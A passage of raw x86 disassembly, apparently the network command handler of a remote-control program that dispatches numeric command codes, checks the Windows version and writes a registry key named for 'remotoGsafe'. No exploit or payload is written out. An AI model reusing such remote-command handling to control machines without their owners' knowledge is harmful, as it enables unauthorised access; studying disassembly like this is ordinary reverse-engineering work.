jne 0x10029e7e
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x10029ecb
push 0x2faf
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x10029efb
push 0x2faf
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebx]
test eax, eax
jne 0x10029f18
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x10029f2e
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x248
call fcn.100b3540
add esp, 0x1c
jmp 0x1002dd78
push str.110022
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029fc3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029f72
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10029f9b
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x234
call fcn.100b3560
add esp, 0x10
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029fbe
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110023
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002a1b8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029fef
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
push 1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.10032d80
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a03e
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002a04e
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a05e
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002a071
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
call fcn.10034059
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a0a3
push ebx
call fcn.100abdd7
add esp, 4
push 0x80000301
push 0
push 0
fild dword [ebp - 0x48]
fstp qword [ebp - 0x50]
push 0x80000601
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
push 2
mov ebx, 0x68
call fcn.100b0360
add esp, 0x1c
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
fld qword [ebp - 0x60]
call fcn.10001713
mov dword [ebp - 0x2c], eax
push 0x80000301
push 0
push dword [ebp - 0x2c]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x28]
push 0x100d43a1
push dword [ebp - 0x44]
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a13c
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1002a14f
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a175
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.110023
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002a1a3
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002a1b3
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110024
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002a24e
push reloc.WS2_32.dll_connect
push 0
push str.110024
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a218
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a249
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110025
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002a2e2
call fcn.10034203
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002a282
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a2a8
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110025
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002a2cd
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a2dd
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110026
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002a614
lea eax, [ebp - 0x30]
push eax
push 3
push 0x100e6cb5
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x58]
mov ebx, dword [ebp - 0x30]
call fcn.10002428
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x1002a5ae
mov ebx, dword [ebp - 0x30]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002a359
push 0x330b
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002a376
push 0x330b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x30]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002a3a7
push 0x330b
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002a3c4
push 0x330b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002a3f8
push 0x330b
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002a415
push 0x330b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x30]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002a449
push 0x330b
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002a466
push 0x330b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x14
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x30]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002a49d
push 0x330b
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002a4ba
push 0x330b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x54], ebx
mov ebx, dword [ebp - 0x30]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002a4f1
push 0x330b
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002a50e
push 0x330b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x58], ebx
push 0x100dcf46
mov ebx, dword [ebp - 0x58]
push dword [ebx]
push 0x100dcf4d
mov ebx, dword [ebp - 0x54]
push dword [ebx]
push 0x100dcf4d
mov ebx, dword [ebp - 0x50]
push dword [ebx]
push 0x100dcf4d
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push 0x100dcf4d
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push 0x100dcf4d
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push dword [ebp - 0x34]
mov ecx, 0xd
call fcn.100010a5
add esp, 0x34
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1002a590
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push 0
mov ebx, 0x350
call fcn.100adc10
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x1002a324
add esp, 0xc
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1002a5c4
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a5ff
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a60f
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110027
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002a73c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002a640
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6cb5
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a67c
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002a6e1
push reloc.WS2_32.dll_connect
push 0
push 0x100dcf58
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a6cc
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a6dc
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002a737
push reloc.WS2_32.dll_connect
push 0
push 0x100dcf65
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a727
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a737
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110029
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002a864
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002a768
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6cb5
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x30]
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a7a4
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002a809
push reloc.WS2_32.dll_connect
push 0
push 0x100dcf79
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a7f4
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a804
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002a85f
push reloc.WS2_32.dll_connect
push 0
push 0x100dcf86
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a84f
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a85f
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110028
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002a98c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002a890
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6cb5
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a8cc
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002a931
push reloc.WS2_32.dll_connect
push 0
push 0x100dcf9a
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a91c
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a92c
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002a987
push reloc.WS2_32.dll_connect
push 0
push 0x100dcfa7
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002a977
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002a987
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110030
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002acb9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002a9b8
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002a9f3
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002aa19
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002aa3b
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002aa37
imul eax, dword [ebx]
jmp 0x1002aa2c
mov ecx, eax
test ecx, ecx
je 0x1002aa5a
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1002aa53
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002aa41
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 4
jne 0x1002acb4
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x1002aaa3
push 0x383e
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002aad3
push 0x383e
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 2
cmp eax, ecx
jl 0x1002ab03
push 0x383e
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 3
cmp eax, ecx
jl 0x1002ab33
push 0x383e
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
push 1
push 2
mov dword [ebp - 0x60], 0
push 0
push dword [ebp - 0x60]
push 1
push 1
push 1
push dword [ebp - 0x50]
push dword [ebp - 0x4c]
push dword [ebp - 0x48]
push dword [ebp - 0x44]
push 0x100e6cb5
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x20]
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1002abd0
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1002abe3
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002abf6
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x64], 0
je 0x1002ac5e
push reloc.WS2_32.dll_connect
push 0
push 0x100dcfbb
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002ac49
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ac59
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002acb4
push reloc.WS2_32.dll_connect
push 0
push 0x100dcfc8
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110026
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002aca4
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002acb4
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110034
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002ad29
push reloc.WS2_32.dll_connect
push 0
push str.110034
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ad24
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110035
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002adbf
push reloc.WS2_32.dll_connect
push 0
push str.110035
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ad89
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002adba
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110037
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002ae54
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002adeb
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002ae14
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotoGsafe_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.100ad110
add esp, 0x28
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ae4f
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110039
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002b339
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x1002ae8e
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x134
call fcn.100adf10
add esp, 0x1c
mov dword [ebp - 0x44], eax
push str.Windows_XP
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002aed2
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002af58
push 0x80000301
push 0
push 0x13
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6bb9]
test eax, eax
jne 0x1002aefd
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x134
call fcn.100adf10
add esp, 0x1c
mov dword [ebp - 0x4c], eax
push str.Windows_Server_2003
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002af44
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1002af58
mov eax, 1
jmp 0x1002af5d
mov eax, 0
test eax, eax
je 0x1002b334
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002af78
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dd002
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002afbc
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002b041
call fcn.100373e3
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002afe1
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002b007
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110039
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002b02c
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002b03c
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002b334
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002b054
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x50], eax
push 0x80000301
push 0
push 8
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x1002b08f
mov eax, 0x100d424e
push eax
push 2
mov ebx, 0x134
call fcn.100adf10
add esp, 0x1c
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002b0bb
push ebx
call fcn.100abdd7
add esp, 4
push 0x100dd00b
push dword [ebp - 0x54]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002b0f2
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x1002b334
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002b112
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x60], 0
push 0
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov eax, 0x100d424e
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
mov eax, 0x100dd014
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
lea eax, [ebp - 0x44]
push eax
call fcn.1000b415
mov dword [ebp - 0x7c], eax
